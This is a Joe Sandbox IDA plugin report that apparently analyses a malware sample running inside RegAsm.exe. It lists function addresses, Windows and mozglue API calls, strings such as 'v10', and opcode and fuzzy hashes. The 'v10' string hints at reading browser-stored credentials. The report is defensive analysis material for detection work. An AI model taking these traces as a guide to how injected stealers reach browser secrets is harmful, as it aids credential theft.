Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 1f2487fd10edfccd45ce09b8b937648cd2e95da6f7fb7ffb8409f30708410209
Instruction ID: 7fb2fa135742dd7833b28445f31fdf622bcda3d7ab0b728b574e019e50178994
Opcode Fuzzy Hash: 1f2487fd10edfccd45ce09b8b937648cd2e95da6f7fb7ffb8409f30708410209
Instruction Fuzzy Hash: C5E0B674345346DFDF017FA9C9487067FF8EB0E716F440699A90593A10E7B58604CB51

Function 6CBAC240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB577F6), ref: 6CBAC248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6CBAC267
FreeLibrary.KERNEL32(?,6CB577F6), ref: 6CBAC27C

Strings

CryptCATAdminAcquireContext, xrefs: 6CBAC261
wintrust.dll, xrefs: 6CBAC243

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: f1c726f11c72df4fb7c358a06c3fac0324fc43e45a783a763baa3dd8a248e506
Instruction ID: 3e4942b9920012561a84b8d01b5293b5e66d84c53fd2bc628c6c8cd18c049cd2
Opcode Fuzzy Hash: f1c726f11c72df4fb7c358a06c3fac0324fc43e45a783a763baa3dd8a248e506
Instruction Fuzzy Hash: 48E04679214302DBDF046FA2C8887093FF8E70F30AF100499E900C3600EBB1C2009F65

Function 6CBABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CBABE49), ref: 6CBABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CBABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CBABE49), ref: 6CBABF38
RtlReAllocateHeap.NTDLL ref: 6CBABF83
RtlFreeHeap.NTDLL(6CBABE49,00000000), ref: 6CBABFA6

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: b93763c5890cf9c5405c88506ccaa7ac88d5b1164ce548f2bfae5c191f8bcdfd
Instruction ID: a776ea3e280515161964b2a05812e1ab848dc8568dd40fa44a15c41205194a37
Opcode Fuzzy Hash: b93763c5890cf9c5405c88506ccaa7ac88d5b1164ce548f2bfae5c191f8bcdfd
Instruction Fuzzy Hash: B351B171B042458FEB14CFA8CC80BAAB7A2FF88314F294639D565A7B54D731F9078B81

Function 6CB98E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?,6CBBD734), ref: 6CB98E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?,6CBBD734), ref: 6CB98EBF
free.MOZGLUE(?,?,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?), ref: 6CB98F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?,6CBBD734), ref: 6CB98F46
free.MOZGLUE(?,?,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?), ref: 6CB98F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB8B58D,?,?,?,?,?,?,?,6CBBD734,?,?,?), ref: 6CB98F8F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 27372cab5bfabeaa39a4408147f9ee2a9e9de3dd7145e13360fd64fe2e7a9342
Instruction ID: 1618b5b07758c672c9be84a0e3ca5489ac74841945ede6fa21bbf98e0e45c1cb
Opcode Fuzzy Hash: 27372cab5bfabeaa39a4408147f9ee2a9e9de3dd7145e13360fd64fe2e7a9342
Instruction Fuzzy Hash: 48518FB1A016568FEF14CF64D88076E73B6EB4A318F15093AD517ABB40E732E905CB92

Function 6CB560E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB560F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB56180
free.MOZGLUE(?,?,?,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB56211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB56229
free.MOZGLUE(?,?,?,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB5625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB56271

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9bdd8aba383ba9dc2d72a792a7805740270ab60395fd86f93ea13cf0aebfa998
Instruction ID: 3788c861eaf891d8b70e809bc37a836f1485eb01c35bb30b9a17a26a5cf49132
Opcode Fuzzy Hash: 9bdd8aba383ba9dc2d72a792a7805740270ab60395fd86f93ea13cf0aebfa998
Instruction Fuzzy Hash: 7E519EB1A002468FEB14CFA8D8807AEB7B5EF45308F500439C616D7711EB31EA64CB52

Function 6CB927E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB9284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB9289A
free.MOZGLUE(?,?,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB928F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB92910
free.MOZGLUE(00000001,?,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB9293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB92620,?,?,?,6CB860AA,6CB85FCB,6CB879A3), ref: 6CB9294E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d3931fbaefac18a12dc81af6fa13971b3a2f603ae2019a7e8f6c0896eb87f614
Instruction ID: 246324fbadff7896dfe3fd4262011234b6eae0ad65003786f283acc342ca53f3
Opcode Fuzzy Hash: d3931fbaefac18a12dc81af6fa13971b3a2f603ae2019a7e8f6c0896eb87f614
Instruction Fuzzy Hash: AC418EB1A002468FEB14CF68D88476A77F6EF46708F250939D556EB740E731E904CB92

Function 6CB4CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB4CFF6
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB4D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CB4D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CB4D139

Strings

MOZ_CRASH(), xrefs: 6CB4D187

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: b7bc3d78eccefa2e4a12b99a516c62ec064d73cd56c0f41b59441c1fe0c75145
Instruction ID: 9343cddd75ba54f92e30342c8a4763603cda02224a79233602a404996db9f56a
Opcode Fuzzy Hash: b7bc3d78eccefa2e4a12b99a516c62ec064d73cd56c0f41b59441c1fe0c75145
Instruction Fuzzy Hash: 2441DD32B442968FCB048E7CDC923AE36B4EB5D710F14413AE918E7788D7B19D108BD6

Function 6CB44DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB44E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB44E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB44EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB44F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CB44F1E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 211b4b518fc84d6b2baeddfa3567827b3d6164810bd490384346310957f1c7e0
Instruction ID: 9bd472e50c0b53cc5815fe7a8e7544d591970cfbffe3cbba7c7521106fead341
Opcode Fuzzy Hash: 211b4b518fc84d6b2baeddfa3567827b3d6164810bd490384346310957f1c7e0
Instruction Fuzzy Hash: 6941BE716087819FCB05CF69C48095BB7E4FF89344F10CA2DF86997A45DB30E968DB92

Function 004108A0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004108C8
strtok_s.MSVCRT ref: 00410A0D

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction ID: a4e7387e48c2c71d0e19e82ff460fffa0707391e6f0b4b4f43623f0e69075298
Opcode Fuzzy Hash: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction Fuzzy Hash: 62515AB5A04209DFCB08CF54D495AEE7BB5FF58308F10806AE802AB351D774EAD1CB95

Function 6CB8D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CB55820,?), ref: 6CB8D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6CB55820,?), ref: 6CB8D22E

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6CB55820,?), ref: 6CB8D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6CB55820,?), ref: 6CB8D253

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6CB55820,?), ref: 6CB8D280

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 48f74e3a386b985e3082c960636a918bc6ae47992f65eeaacc53360f8c6d716c
Instruction ID: eb11dd30e47139c5a7c918c9ec46dac4d445ea0388ceb47a26f9c5ac7a9566eb
Opcode Fuzzy Hash: 48f74e3a386b985e3082c960636a918bc6ae47992f65eeaacc53360f8c6d716c
Instruction Fuzzy Hash: E731EC75A012969FCB00CF68D480AAEBB75FF89308F24415BD9546B705D772E906C7D2

Function 00409E60 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00409E7B
memset.MSVCRT ref: 00409EAE
LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

v10, xrefs: 00409E72
@, xrefs: 00409EB7

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6CB5C150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB5C1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB5C1DC

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: ba998d87f618e8fc1af90d77910173e90c67213ea0d38f49dbe94462b322fd33
Instruction ID: f1007a799b4a513ff51352d27f7f1edd2167306da0faca7322154295c684f7fd
Opcode Fuzzy Hash: ba998d87f618e8fc1af90d77910173e90c67213ea0d38f49dbe94462b322fd33
Instruction Fuzzy Hash: 2141B1B1D083808FD710DF64C48079AB7E5EF8A308F41855EE9989B712E771E958CB93

Function 6CBAA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCF770), ref: 6CBAA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAA87B

Part of subcall function 6CBAA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CBAA88F,00000000), ref: 6CBAA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CBAA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAA90C
LeaveCriticalSection.KERNEL32(6CBCF770), ref: 6CBAA97E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 2a17d09c2cc21aa5d08d630b4edd1a0e064f4679a1db4fea646aa58e27587534
Instruction ID: fb8a4be7fb78cba1ee7d670abd009ff2ae6f2376233f252f926a52d9ec4c1da1
Opcode Fuzzy Hash: 2a17d09c2cc21aa5d08d630b4edd1a0e064f4679a1db4fea646aa58e27587534
Instruction Fuzzy Hash: 3F41A4B5E002848FDB00DFE4D845AEEB774FF08324F148619E865AB781D7319946CFA1

Function 6CB51530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CB5152B,?,?,?,?,6CB51248,?), ref: 6CB5159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB5152B,?,?,?,?,6CB51248,?), ref: 6CB515BC
moz_xmalloc.MOZGLUE(-00000001,?,6CB5152B,?,?,?,?,6CB51248,?), ref: 6CB515E7
free.MOZGLUE(?,?,?,?,?,?,6CB5152B,?,?,?,?,6CB51248,?), ref: 6CB51606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CB5152B,?,?,?,?,6CB51248,?), ref: 6CB51637

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 8064ee213b25efa49269e5475441ffcc97da40bb2af1a809a3773ba5558a50ff
Instruction ID: d754fe6d46381f3768614797e1fe77bf1d8a917f96286f093aafbb19e540c970
Opcode Fuzzy Hash: 8064ee213b25efa49269e5475441ffcc97da40bb2af1a809a3773ba5558a50ff
Instruction Fuzzy Hash: CE31EA719001548BCB148E78D85046E77A9FB853647AC0B2DE423DBBD4EB30D9248792

Function 6CB44310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6CB442D2), ref: 6CB4436A

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB442D2), ref: 6CB44387
moz_xmalloc.MOZGLUE(80000023,?,6CB442D2), ref: 6CB443B7
free.MOZGLUE(00000000,?,6CB442D2), ref: 6CB443EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6CB442D2), ref: 6CB44406

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: 78e3f10d71f9642cf3ea3dcf8af408da0a17f81869dca75bf5e0c30903ed0974
Instruction ID: 3480d55dc31a2620706bcd3f839e027e51fedc9fffaf22c1efba6dd1b7cac315
Opcode Fuzzy Hash: 78e3f10d71f9642cf3ea3dcf8af408da0a17f81869dca75bf5e0c30903ed0974
Instruction Fuzzy Hash: 27315E72A041944FD714DE788C8056F77A7EF44724B144F39E811DBB89EB30D9248B92

Function 6CBAAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CBBE330,?,6CB6C059), ref: 6CBAAD9D

